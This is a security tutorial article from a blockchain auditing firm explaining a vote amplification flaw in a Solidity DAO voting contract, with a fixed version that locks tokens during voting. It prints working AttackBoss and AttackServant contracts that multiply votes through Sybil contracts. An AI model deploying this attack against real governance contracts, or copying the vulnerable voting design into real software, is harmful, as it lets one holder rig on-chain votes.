Contents

Solidity Security By Example #12: Amplification Attack (Double Spending #1)


Originally published in Valix Consulting’s Medium.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

An amplification attack can happen when a smart contract is misdesigned, resulting in the contract being exploited. This article will explain how a smart contract with a design flaw can be attacked and how to deal with the issue. Enjoy reading. ๐Ÿ˜Š

You can find all related source code at ๐Ÿ‘‰ https://github.com/serial-coder/solidity-security-by-example/tree/main/12_amplification_attack__double_spending_01.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. ๐Ÿ•ต


Table of Contents


.    .    .

The Dependencies


The code below contains dependencies required by the InsecureMoonDAOVote and the FixedMoonDAOVote contracts. The dependencies include ReentrancyGuard abstract contract (lines 3โ€“12), IMoonToken interface (lines 14โ€“23), and MoonToken contract (lines 25โ€“99).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
pragma solidity 0.8.20;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

interface IMoonToken {
    function buy(uint256 _amount) external payable;
    function sell(uint256 _amount) external;
    function transfer(address _to, uint256 _amount) external;
    function transferFrom(address _from, address _to, uint256 _value) external;
    function approve(address _spender, uint256 _value) external;
    function allowance(address _owner, address _spender) external view returns (uint256 remaining);
    function getEtherBalance() external view returns (uint256);
    function getUserBalance(address _user) external view returns (uint256);
}

contract MoonToken {
    mapping (address => uint256) private userBalances;
    mapping (address => mapping (address => uint256)) private allowed;

    uint256 private constant MAX_UINT256 = type(uint256).max;
    uint256 public constant TOKEN_PRICE = 1 ether;

    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function transferFrom(address _from, address _to, uint256 _value) external {
        uint256 allowance_ = allowed[_from][msg.sender];
        require(
            userBalances[_from] >= _value && allowance_ >= _value, 
            "Insufficient balance"
        );

        userBalances[_to] += _value;
        userBalances[_from] -= _value;

        if (allowance_ < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
    }

    function approve(address _spender, uint256 _value) external {
        allowed[msg.sender][_spender] = _value;
    }

    function allowance(address _owner, address _spender)
        external
        view
        returns (uint256 remaining)
    {
        return allowed[_owner][_spender];
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}
Dependencies.sol


The ReentrancyGuard contains the noReentrant modifier that is used to prevent reentrancy attacks. The noReentrant (lines 6โ€“11) is a simple lock that allows only a single entrance to the function applying it. If there is an attempt to do the reentrant, the transaction would be reverted by the require statement in line 7.

The IMoonToken interface defines function prototypes, enabling the InsecureMoonDAOVote and the FixedMoonDAOVote contracts to interact with the MoonToken contract.

Lastly, the MoonToken contract is a simple ERC-20 token. Users can buy MOON tokens with the corresponding number of Ethers via the buy function (lines 39โ€“46). Users can also sell their MOONs through the sell function (lines 48โ€“55), transfer their MOONs via the transfer function (lines 57โ€“63) and the transferFrom function (lines 65โ€“78), and approve the token transfer to a spender via the approve function (lines 80โ€“82).

Additionally, users can query the transfer approval allowance to a spender by calling the allowance function (lines 84โ€“90), get the total number of Ethers locked in the contract by way of the getEtherBalance function (lines 92โ€“94), and get their balances by consulting the getUserBalance function (lines 96โ€“98).

In addition to the MOON token, it is a non-divisible token with zero token decimals (line 37). Users can buy, sell, or transfer 1, 2, 3, or 46 MOONs but not 33.5 MOONs.

Besides the non-divisible characteristic, the MOON token is also a stablecoin pegged with the Ether (line 30). In other words, 1 MOON will always be worth 1 Ether.


.    .    .

The Vulnerability


The following code exhibits the InsecureMoonDAOVote contract. This contract provides the voting functionality for all MOON token holders to cast a vote for CEO candidates freely โ€” id: 0 for Bob, id: 1 for John, and id: 2 for Eve (lines 28โ€“41).

Within a voting period, a user can cast a vote for only one candidate of their choice by invoking the vote function (lines 44โ€“59), and check for their vote via the getUserVote function (lines 65โ€“67).

Further, users can query the candidate list by consulting the functions getTotalCandidates (lines 61โ€“63) and getCandidate (lines 69โ€“72).

Unquestionably, the InsecureMoonDAOVote contract must be vulnerable. Can you catch up on the issue? ๐Ÿ‘€

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
pragma solidity 0.8.20;

import "./Dependencies.sol";

contract InsecureMoonDAOVote is ReentrancyGuard {
    IMoonToken public immutable moonToken;
    uint256 public immutable voteDeadline;

    // User Vote 
    struct UserVote {
        uint256 candidateID;
        uint256 voteAmount;
        bool completed;
    }
    mapping (address => UserVote) private userVotes;

    // CEO Candidate
    struct CEOCandidate {
        string name;
        uint256 totalVoteAmount;
    }
    CEOCandidate[] private candidates;

    constructor(IMoonToken _moonToken, uint256 _voteDeadline) {
        moonToken = _moonToken;
        voteDeadline = _voteDeadline;

        // Candidate #0: Bob
        candidates.push(
            CEOCandidate({name: "Bob", totalVoteAmount: 0})
        );

        // Candidate #1: John
        candidates.push(
            CEOCandidate({name: "John", totalVoteAmount: 0})
        );

        // Candidate #2: Eve
        candidates.push(
            CEOCandidate({name: "Eve", totalVoteAmount: 0})
        );
    }

    function vote(uint256 _candidateID) external noReentrant {
        require(block.timestamp < voteDeadline, "Vote is finished");
        require(!userVotes[msg.sender].completed, "You have already voted");
        require(_candidateID < candidates.length, "Invalid candidate id");

        uint256 voteAmount = moonToken.getUserBalance(msg.sender);
        require(voteAmount > 0, "You have no privilege to vote");

        userVotes[msg.sender] = UserVote({
            candidateID: _candidateID,
            voteAmount: voteAmount,
            completed: true
        });

        candidates[_candidateID].totalVoteAmount += voteAmount;
    }

    function getTotalCandidates() external view returns (uint256) {
        return candidates.length;
    }

    function getUserVote(address _user) external view returns (UserVote memory) {
        return userVotes[_user];
    }

    function getCandidate(uint256 _candidateID) external view returns (CEOCandidate memory) {
        require(_candidateID < candidates.length, "Invalid candidate id");
        return candidates[_candidateID];
    }
}
InsecureMoonDAOVote.sol


As you can see, the InsecureMoonDAOVote contract is straightforward. The more MOON tokens a user possesses, the more voting points they can give to their candidate (line 58). โœ๏ธ

Unfortunately, the InsecureMoonDAOVote contract got a design flaw in the voting mechanism, allowing an attacker to perform a voting amplification attack. ๐Ÿ˜ฒ

Figure 1 below depicts how an attacker can exploit the InsecureMoonDAOVote contractโ€™s voting mechanism to mastermind the winner.

Figure 1. How an attacker exploits the vulnerable voting mechanism

Figure 1. How an attacker exploits the vulnerable voting mechanism


The upper part of Figure 1 pictures how a regular voter possessing 100 MOONs casts a vote for the candidate Bob. The lower part portrays how an attacker performs an amplification attack on voting for their candidate Eve.

In more detail, the attacker uses their 100 MOONs to vote for Eve (Steps 1 and 2) like a regular voter.

Since the InsecureMoonDAOVote contract only records the vote of each voter and will not allow the same voter to cast a double vote (line 46), the attacker can bypass this condition check by transferring their 100 MOONs to another Sybil account (Step 3). ๐Ÿ˜Ž

For this reason, the attacker can double-spend the vote on the spent tokens (Step 4), amplifying Eveโ€™s voting points easily (Step 5). ๐Ÿ˜ˆ

Letโ€™s demystify the root cause in short. We found that the voting mechanism of the InsecureMoonDAOVote contract lacks locking up the spent MOON tokens after the vote. Please refer to the Solutions section below for the remediation solutions. ๐Ÿค•

Are there the voting amplification vulnerabilities in real production?

For sure, we discovered the voting amplication vulnerability of the on-chain voting mechanism of the SUSHI token, which can also affect every forked project that adopts that voting functionality to be attacked. ๐Ÿ•ต๏ธ

Moreover, we also discovered other voting vulnerabilities including voting displacement and redelegation failure. Head to our discovery report for details of our findings. ๐Ÿ•ต๏ธ


.    .    .

The Attack


The following code presents the contracts AttackServant (lines 9โ€“26) and AttackBoss (lines 28โ€“59). Both contracts facilitate an attacker to take control of the voting winner easily.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pragma solidity 0.8.20;

import "./Dependencies.sol";

interface IMoonDAOVote {
    function vote(uint256 _candidateID) external;
}

contract AttackServant {
    IMoonToken public immutable moonToken;
    IMoonDAOVote public immutable moonDAOVote;

    constructor(IMoonToken _moonToken, IMoonDAOVote _moonDAOVote) {
        moonToken = _moonToken;
        moonDAOVote = _moonDAOVote;
    }

    function attack(uint256 _candidateID) external {
        uint256 moonInitAmount = moonToken.getUserBalance(address(this));
        require(moonInitAmount >= 1, "Require at least 1 MOON to attack");

        // Perform the vote and then transfer the MOON tokens back to the boss contract
        moonDAOVote.vote(_candidateID);
        moonToken.transfer(msg.sender, moonInitAmount);
    }
}

contract AttackBoss {
    IMoonToken public immutable moonToken;
    IMoonDAOVote public immutable moonDAOVote;

    constructor(IMoonToken _moonToken, IMoonDAOVote _moonDAOVote) {
        moonToken = _moonToken;
        moonDAOVote = _moonDAOVote;
    }

    // Perform the voting amplification attack
    function attack(uint256 _candidateID, uint256 _xTimes) external {
        uint256 moonInitAmount = moonToken.getUserBalance(msg.sender);
        require(moonInitAmount >= 1, "Require at least 1 MOON to attack");

        // Transfer MOON tokens from the attacker to this contract
        moonToken.transferFrom(msg.sender, address(this), moonInitAmount);

        for (uint256 i = 0; i < _xTimes; i++) {
            // Create a servant contract, a Sybil account
            AttackServant servant = new AttackServant(moonToken, moonDAOVote);

            // Transfer MOON tokens to the servant contract
            moonToken.transfer(address(servant), moonInitAmount);

            // Invoke the servant contract to do the vote
            servant.attack(_candidateID);
        }

        // Transfer MOON tokens back to the attacker
        moonToken.transfer(msg.sender, moonInitAmount);
    }
}
Attack.sol


To exploit the InsecureMoonDAOVote contractโ€™s voting mechanism, an attacker performs the following actions:

  1. Deploy the attackBoss contract (lines 32โ€“35) by passing addresses of the MoonToken contract and the InsecureMoonDAOVote contract as deployment arguments.

  2. Trigger the attack by executing the attackBoss.attack() function (lines 38โ€“58) and inputting as function arguments the target candidateโ€™s id (i.e., _candidateID) and the number of times they would like to amplify the vote on the target candidate (i.e., _xTimes).


The following describes how the attackBoss.attack() function would perform the exploitation under the hood. ๐Ÿฅท

  1. The attackBoss.attack() function transfers all attackerโ€™s MOON tokens to the contract itself (line 43).

  2. The attackBoss.attack() function executes the loop for orchestrating multiple servant contract instances (lines 45โ€“54) as per the _xTimes parameter (line 45).

    2.1 โ€” In each iteration, the attackBoss.attack() function deploys a single servant contract instance from the AttackServant contract (line 47).

    2.2 โ€” The attackBoss.attack() function transfers all MOON tokens to the previously deployed servant instance (line 50).

    2.3 โ€” The attackBoss.attack() function invokes the servant.attack(_candidateID) function (line 53) to cast a vote for the given _candidateID.

    2.4 โ€” The servant.attack() function performs the vote for the target candidate (line 23) and then transfers all MOON tokens back to the attackBoss mother instance (line 24).

    2.5 โ€” The attackBoss.attack() function proceeds with the new iteration until it fulfills the _xTimes parameter (line 45).

  3. Finally, the attackBoss.attack() function transfers all MOON tokens back to the attacker (line 57) and finishes the attack execution.


Figure 2. How the AttackBoss mother contract instance orchestrates multiple AttackServant instances to take over the voting winner

Figure 2. How the AttackBoss mother contract instance orchestrates multiple AttackServant instances to take over the voting winner


For the sake of illustration, consider Figure 2 above as an example. The attacker initiates the attack by triggering the AttackBoss mother contract instance and approving 100 MOONs as initial tokens for the attack (Step 1).

The AttackBoss mother instance sequentially deploys three AttackServant child instances to amplify the voting points for the candidate Eve (Steps 2โ€“10). ๐Ÿง™โ€โ™‚๏ธ

Eventually, the AttackBoss instance transfers 100 MOONs back to the attacker (Step 11). As a result of the attack, the voting points for Eve have been gained by 300 points โ€” i.e., 3X amplification (Step 12). ๐Ÿงžโ€โ™‚๏ธ

Figure 3. The attack result

Figure 3. The attack result


Figure 3 above displays our attack simulation result. As you can see, the attacker could gain 200 voting points for Eve by using only 10 MOONs (i.e., 20X voting amplification) in only a single attack transaction. ๐Ÿคฏ


.    .    .

The Solutions


There are two preventive solutions to remediate the voting amplification vulnerability. ๐Ÿ‘จโ€๐Ÿ”ง

  1. Locking up the spent MOON tokens after the vote

  2. Applying the delegation and checkpoint approach to keep track of voting points at each specific block number


In this article, we will demonstrate the first solution (Locking up the spent MOON tokens after the vote). ๐Ÿ‘

For the second solution (Applying the delegation and checkpoint approach to keep track of voting points), it requires both the MoonToken and the InsecureMoonDAOVote contracts to be completely redesigned.

Besides, the new design also requires users a completely different approach to interacting with the contracts. For this reason, the second solution will not be presented in this article. ๐Ÿคก

In case you might be interested, nonetheless, please refer to the ERC20Votes implementation by OpenZeppelin.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
pragma solidity 0.8.20;

import "./Dependencies.sol";

contract FixedMoonDAOVote is ReentrancyGuard {
    IMoonToken public immutable moonToken;
    uint256 public immutable voteDeadline;

    // User Vote 
    struct UserVote {
        uint256 candidateID;
        uint256 voteAmount;
        bool completed;
        bool moonWithdrawn; // FIX: Tracking the MOON token's withdrawal status
    }
    mapping (address => UserVote) private userVotes;

    // CEO Candidate
    struct CEOCandidate {
        string name;
        uint256 totalVoteAmount;
    }
    CEOCandidate[] private candidates;

    constructor(IMoonToken _moonToken, uint256 _voteDeadline) {
        moonToken = _moonToken;
        voteDeadline = _voteDeadline;

        // Candidate #0: Bob
        candidates.push(
            CEOCandidate({name: "Bob", totalVoteAmount: 0})
        );

        // Candidate #1: John
        candidates.push(
            CEOCandidate({name: "John", totalVoteAmount: 0})
        );

        // Candidate #2: Eve
        candidates.push(
            CEOCandidate({name: "Eve", totalVoteAmount: 0})
        );
    }

    function vote(uint256 _candidateID) external noReentrant {
        require(block.timestamp < voteDeadline, "Vote is finished");
        require(!userVotes[msg.sender].completed, "You have already voted");
        require(_candidateID < candidates.length, "Invalid candidate id");

        uint256 voteAmount = moonToken.getUserBalance(msg.sender);
        require(voteAmount > 0, "You have no privilege to vote");

        // FIX: Transfer the MOON tokens to lock in this contract 
        //      until the voting period is completed
        moonToken.transferFrom(msg.sender, address(this), voteAmount);

        userVotes[msg.sender] = UserVote({
            candidateID: _candidateID,
            voteAmount: voteAmount,
            completed: true,
            moonWithdrawn: false // FIX: Tracking the MOON token's withdrawal status
        });

        candidates[_candidateID].totalVoteAmount += voteAmount;
    }

    // FIX: Voters can withdraw MOON tokens after the voting period ends
    function withdrawMoonTokens() external noReentrant {
        require(block.timestamp >= voteDeadline, "Vote is not finished yet");
        require(userVotes[msg.sender].completed, "You did not make the vote");
        require(!userVotes[msg.sender].moonWithdrawn, "You have no MOON tokens to withdraw");

        // Mark that the MOON tokens are withdrawn
        userVotes[msg.sender].moonWithdrawn = true;

        // Transfer the MOON tokens back to the voter
        moonToken.transfer(msg.sender, userVotes[msg.sender].voteAmount);
    }

    function getTotalCandidates() external view returns (uint256) {
        return candidates.length;
    }

    function getUserVote(address _user) external view returns (UserVote memory) {
        return userVotes[_user];
    }

    function getCandidate(uint256 _candidateID) external view returns (CEOCandidate memory) {
        require(_candidateID < candidates.length, "Invalid candidate id");
        return candidates[_candidateID];
    }
}
FixedMoonDAOVote.sol


This section will describe the first solution (Locking up the spent MOON tokens after the vote). Letโ€™s take a look at the FixedMoonDAOVote contract above.

The idea is to lock away all MOONs already used for voting for a certain period. Later on, voters can withdraw their MOONs after the voting period ends. This way, we can guarantee that no one can double-spend their MOONs. ๐Ÿ‘Œ

To achieve this, we introduced a new UserVote struct property named moonWithdrawn (line 14) for tracking the MOON tokenโ€™s withdrawal status.

The moonWithdrawn variable will be false once a voter executes the vote function (line 61). The variable will be true when a voter withdraws their MOONs (line 74).

To lock up the MOON tokens, the vote function will transfer all MOONs from a voter account to the FixedMoonDAOVote contract itself (line 55). ๐Ÿค”

For voters to withdraw their MOONs, we implemented the withdrawMoonTokens function (lines 68โ€“78). This function suddenly allows voters to retrieve their MOONs after the voting period. ๐Ÿค


.    .    .

Summary


In this article, you have learned how a design flaw can lead to an amplification attack in the smart contract. You have understood how an attacker exploits the vulnerable contract and how to tackle the issue.

We hope this article could gain your security knowledge. See you again in our next article.

Again, you can find all related source code at ๐Ÿ‘‰ https://github.com/serial-coder/solidity-security-by-example/tree/main/12_amplification_attack__double_spending_01.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the authorโ€™s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise, industry knowledge, and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please contact us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s Medium.